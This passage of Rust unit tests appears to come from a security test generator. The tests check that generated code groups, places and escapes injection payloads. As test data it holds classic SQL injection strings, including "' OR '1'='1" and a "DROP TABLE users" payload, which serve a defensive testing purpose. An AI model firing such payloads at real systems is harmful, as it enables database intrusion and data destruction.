960        assert!(code.contains("groupId: '942290-1'"), "Grouped payloads should have groupId set");
961        assert!(code.contains("groupedPayloads"), "Should emit groupedPayloads array-of-arrays");
962    }
963
964    #[test]
965    fn test_generate_payload_selection_ungrouped_null_group_id() {
966        let payloads = vec![SecurityPayload::new(
967            "' OR '1'='1".to_string(),
968            SecurityCategory::SqlInjection,
969            "Basic SQLi".to_string(),
970        )];
971
972        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
973        assert!(code.contains("groupId: null"), "Ungrouped payloads should have groupId: null");
974    }
975
976    #[test]
977    fn test_generate_payload_selection_inject_as_path() {
978        let payloads = vec![SecurityPayload::new(
979            "1234 OR 1=1".to_string(),
980            SecurityCategory::SqlInjection,
981            "Path-based SQLi".to_string(),
982        )
983        .with_inject_as_path()];
984
985        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
986        assert!(
987            code.contains("injectAsPath: true"),
988            "Path injection payloads should have injectAsPath: true"
989        );
990        assert!(code.contains("formBody: null"), "Non-form payloads should have formBody: null");
991    }
992
993    #[test]
994    fn test_generate_payload_selection_form_body() {
995        let payloads = vec![SecurityPayload::new(
996            ";;dd foo bar".to_string(),
997            SecurityCategory::SqlInjection,
998            "Form-encoded body".to_string(),
999        )
1000        .with_location(PayloadLocation::Body)
1001        .with_form_encoded_body("var=;;dd foo bar".to_string())];
1002
1003        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
1004        assert!(
1005            code.contains("formBody: 'var=;;dd foo bar'"),
1006            "Form-encoded payloads should have formBody set"
1007        );
1008        assert!(
1009            code.contains("injectAsPath: false"),
1010            "Body payloads should have injectAsPath: false"
1011        );
1012    }
1013
1014    #[test]
1015    fn test_generate_payload_selection_default_fields() {
1016        let payloads = vec![SecurityPayload::new(
1017            "' OR '1'='1".to_string(),
1018            SecurityCategory::SqlInjection,
1019            "Basic SQLi".to_string(),
1020        )];
1021
1022        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
1023        assert!(
1024            code.contains("injectAsPath: false"),
1025            "Default payloads should have injectAsPath: false"
1026        );
1027        assert!(code.contains("formBody: null"), "Default payloads should have formBody: null");
1028    }
1029
1030    #[test]
1031    fn test_generate_apply_payload_no_targets() {
1032        let code = SecurityTestGenerator::generate_apply_payload(&[]);
1033        assert!(code.contains("applySecurityPayload"));
1034        assert!(code.contains("ALL string fields"));
1035    }
1036
1037    #[test]
1038    fn test_generate_apply_payload_with_targets() {
1039        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
1040        assert!(code.contains("applySecurityPayload"));
1041        assert!(code.contains("target fields"));
1042    }
1043
1044    #[test]
1045    fn test_generate_security_checks() {
1046        let code = SecurityTestGenerator::generate_security_checks();
1047        assert!(code.contains("checkSecurityResponse"));
1048        assert!(code.contains("vulnerabilityIndicators"));
1049        assert!(code.contains("POTENTIAL VULNERABILITY"));
1050    }
1051
1052    #[test]
1053    fn test_payload_escaping() {
1054        let payloads = vec![SecurityPayload::new(
1055            "'; DROP TABLE users; --".to_string(),
1056            SecurityCategory::SqlInjection,
1057            "Drop table".to_string(),
1058        )];
1059
1060        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
1061        // Single quotes should be escaped
1062        assert!(code.contains("\\'"));
1063    }
1064}